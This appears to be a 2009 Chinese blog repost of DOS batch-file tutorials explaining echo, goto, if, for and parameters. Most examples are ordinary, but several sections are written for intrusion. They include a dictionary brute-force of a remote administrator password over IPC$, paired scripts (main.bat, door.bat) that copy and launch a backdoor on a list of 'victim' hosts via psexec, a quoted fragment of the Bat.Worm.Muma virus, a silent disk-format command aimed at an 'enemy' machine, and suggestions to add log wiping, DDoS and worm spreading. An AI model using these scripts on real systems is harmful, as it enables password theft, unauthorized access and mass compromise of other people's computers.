  假设,我要大规模的做文件的移动、删除等,如果在Windows里操作不免会出现错误,而且这些错误不易察觉。因此,用批处理进行操作,不但简单易行,而且容易发现错误并可以及时纠正。

  例如,我要将D盘的htm文件移动到E盘,再格式化D盘,然后将文件移回D盘,并改后缀为html。

  ************************************************************
  1.bat代码:
  @E:
  @Md d
  @D:
  @Copy *.htm e:\d
  @if exist e:\d\*.htm call 2.bat
  ************************************************************
  2.bat代码:
  @Format d:/q
  @Copy e:\d\*.htm d:
  @D:
  @Ren *.htm *.html
  ************************************************************

  从例子中,可以看出,如果一旦出现问题,是很容易被发现的。从而,也证明了批处理的可用性。

  关于批处理的运用,可以说博大精深,变化莫测。希望大家能够用DOS命令去优化它,这样才能让其更好的为我们服务。

批处理命令

1.Echo 命令

打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。

语法:echo [{on|off}] [message]
Sample:echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令

表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令

注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令

运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令

从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

语法:call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

参数:[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令

调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

8.choice 命令

choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

10.for 命令

for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究

posted @ 2009-06-01 15:52 九宝 阅读(301) | 评论 (0)编辑 收藏

(转) 经典的DOS批处理入门教程(1)(建议耐心看完,必有收获)

关键字: dos批处理 自动化安装测试

目前在做自动化安装测试的过程中要用到大量dos批处理的应用,所以贴一篇

很好的DOS批处理入门教程 呵呵。

这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,你要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。

先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服 ----我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”,那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!

按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。

OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。

例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit

是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。

例二、再给出一个已经过时的例子(a.bat):

@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat

为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。

例三,使用批处理脚本查是否中冰河。脚本内容如下:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命令|,后面将详细介绍。

例四,借批处理自动清除系统垃圾,脚本如下:

@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*


将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。

怎么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I 服了 YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。酸、苦和辣,有没有甜天知道。

为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻(爱情是什么?我**怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。

看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!

批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。

从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比 DOS更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、 DIR等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。

例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第 5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!

在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。

1、@

这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。

2、echo

中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!

echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么??)。
echo命令的另一种用法二:可以直接编辑文本文件。例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。

3、::

这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了。

4、pause

中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。

5、:和goto

为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto 时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。

goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:

……
goto end
……
:end

这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。

6、%

这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:

net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s

以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。

关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!

这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。

烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!

曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个字:我爱你!如果非要给这份爱加上一个期限,你希望是100年。因为100年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有50年那么长吗?答案是:试试看吧。

批处理脚本中最重要的几个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经掌握了这篇教程的所有东西----但那也就不必看了,浪费时间!

7、if

接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。

(1)、输入判断。还是用例五里面的那几句吧:

if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或 help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。

(2)、存在判断。再看例二里这句:

if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。

(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。

另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

